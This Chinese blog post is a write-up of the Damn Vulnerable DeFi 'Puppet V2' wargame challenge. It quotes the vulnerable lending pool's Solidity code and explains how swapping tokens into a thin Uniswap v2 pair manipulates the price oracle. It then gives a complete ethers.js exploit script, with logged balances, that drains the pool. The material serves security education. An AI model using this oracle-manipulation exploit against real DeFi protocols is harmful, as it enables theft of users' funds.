moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:該死的脆弱DeFi (九) - Puppet V2

Damn Vulnerable DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/9.html

題目描述:

上一題借貸池的開發者發布了新的版本,現在使用 Uniswap v2 交易所作為價格預言機,以及推薦的工具庫。

你初始有 20ETH 和 10000DVT,新的借貸池中有 100 萬個 DVT。你需要取光改借貸池中的 DVT。

本題的解題思路同上一題,不同的是 ETH 換成了 WETHWETH 是符合 ERC20 標準的代幣,並且同 ETH 的價值比是 1:1

其次是使用 uniswap 的 v2 版本作為價格預言機。v2 版本支持 TokenToken 的配對合約,本題中的配對合約是 WETH-DVT。

借貸合約 PuppetV2Pool.sol 提供的借貸的功能如下

function borrow(uint256 borrowAmount) external {
    // 確保該合約持有的DVT數量是大於要借出數量
    require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
    // 計算需要存多少WETH
    uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);

    // 轉WETH到該合約中
    _weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);

    // 記錄存入的WETH
    deposits[msg.sender] += depositOfWETHRequired;

    // 將 DVT token 轉給 msg.sender
    require(_token.transfer(msg.sender, borrowAmount));
    emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}

允許借出 DVT 的前提是需要存入 WETH,存入多少 WETH 是根據下面的方法計算的

function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
    // 抵押物的價值是3倍於借出的DVT
    return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}

function _getOracleQuote(uint256 amount) private view returns (uint256) {
    // 獲取 WETH 和 DVT 的儲備量
    // getReserves 內部計算配對合約的地址,並返回配對的 Token 的儲備量
    (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
        _uniswapFactory, address(_weth), address(_token)
    );
    // 計算DVT的價值
    // amount / x = reservesToken / reservesWETH
    // x = (amount * reservesWETH) / reservesToken
    return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}

uniswap 有配對合約 WETH-DVT,儲備量分別為 reservesWETHreservesToken

計算 DVT 的價值滿足公式:

x=amount×reservesWETHreservesTokenx = \frac {amount \times reservesWETH}{reservesToken}

在測試腳本 puppet-v2.challenge.js 中做了如下初始化

  • Uniswap 工廠合約部署了 WETH-DVT 的配對合約並添加流動性 10WETH-100DVT

  • attacker 轉帳 10000DVT 和 20ETH

  • 給借貸合約轉帳 1000000DVT

如果黑客直接全部借出 DVT,則需要付出的成本為

100000010100×3=300000(WETH)\frac {1000000 * 10}{100} \times 3 = 300000(WETH)

由於 WETHWTH 是 1:1 等價的,同時黑客只持有 20 ETH。所以這是不可能完成。

因此可以用黑客持有的 DVTuniswap 中兌換 WETH,此舉會增加 WETH-DVT 配對合約中 DVT 的儲備量並降低 WETH 儲備量,即在計算 DVT 價值的公式中,會增加分母並減小分子的值。所以 DVT 的價值會整體降低。

it('Exploit', async function () {
  const attackerCallLendingPool = this.lendingPool.connect(attacker)
  const attackerCallUniswap = this.uniswapRouter.connect(attacker)
  const attackerCallToken = this.token.connect(attacker)
  const attackerCallWETH = this.weth.connect(attacker)

  // init:
  // Attacker ETH:  20.0
  // Attacker WETH:  0.0
  // Attacker DVT:  10000.0
  // Uniswap WETH:  10.0
  // Uniswap DVT:  100.0
  // LendingPool DVT:  1000000.0

  // 授權 uniswap 支配 attacker 的 DVT token
  await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)

  // 在 uniswap 中使用 DVT 兌換 WETH
  await attackerCallUniswap.swapExactTokensForTokens(
    ATTACKER_INITIAL_TOKEN_BALANCE, 
    ethers.utils.parseEther('9'),
    [attackerCallToken.address, attackerCallWETH.address],
    attacker.address,
    (await ethers.provider.getBlock('latest')).timestamp * 2
  )
  // Attacker ETH:  19.99975413442550073
  // Attacker WETH:  9.900695134061569016
  // Attacker DVT:  0.0
  // Uniswap WETH:  0.099304865938430984
  // Uniswap DVT:  10100.0
  // LendingPool DVT:  1000000.0

  // 計算需要抵押的 WETH 數量
  const collateralCount = await attackerCallLendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)
  console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
  // collateralCount:  29.49649483319732198

  await attackerCallWETH.approve(attackerCallLendingPool.address, collateralCount)
  const tx = {
    to: attackerCallWETH.address,
    value: ethers.utils.parseEther('19.9')
  }
  await attacker.sendTransaction(tx)

  // 借出 DVT
  await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
    gasLimit: 1e6
  })

  // Attacker ETH:  0.099518462674923535
  // Attacker WETH:  0.304200300864247036
  // Attacker DVT:  1000000.0
  // Uniswap WETH:  0.099304865938430984
  // Uniswap DVT:  10100.0
  // LendingPool DVT:  0.0
  // The WETH that the hacker deposited: 29.49649483319732198
})

最後執行 yarn puppet-v2 測試通過!

完整代碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。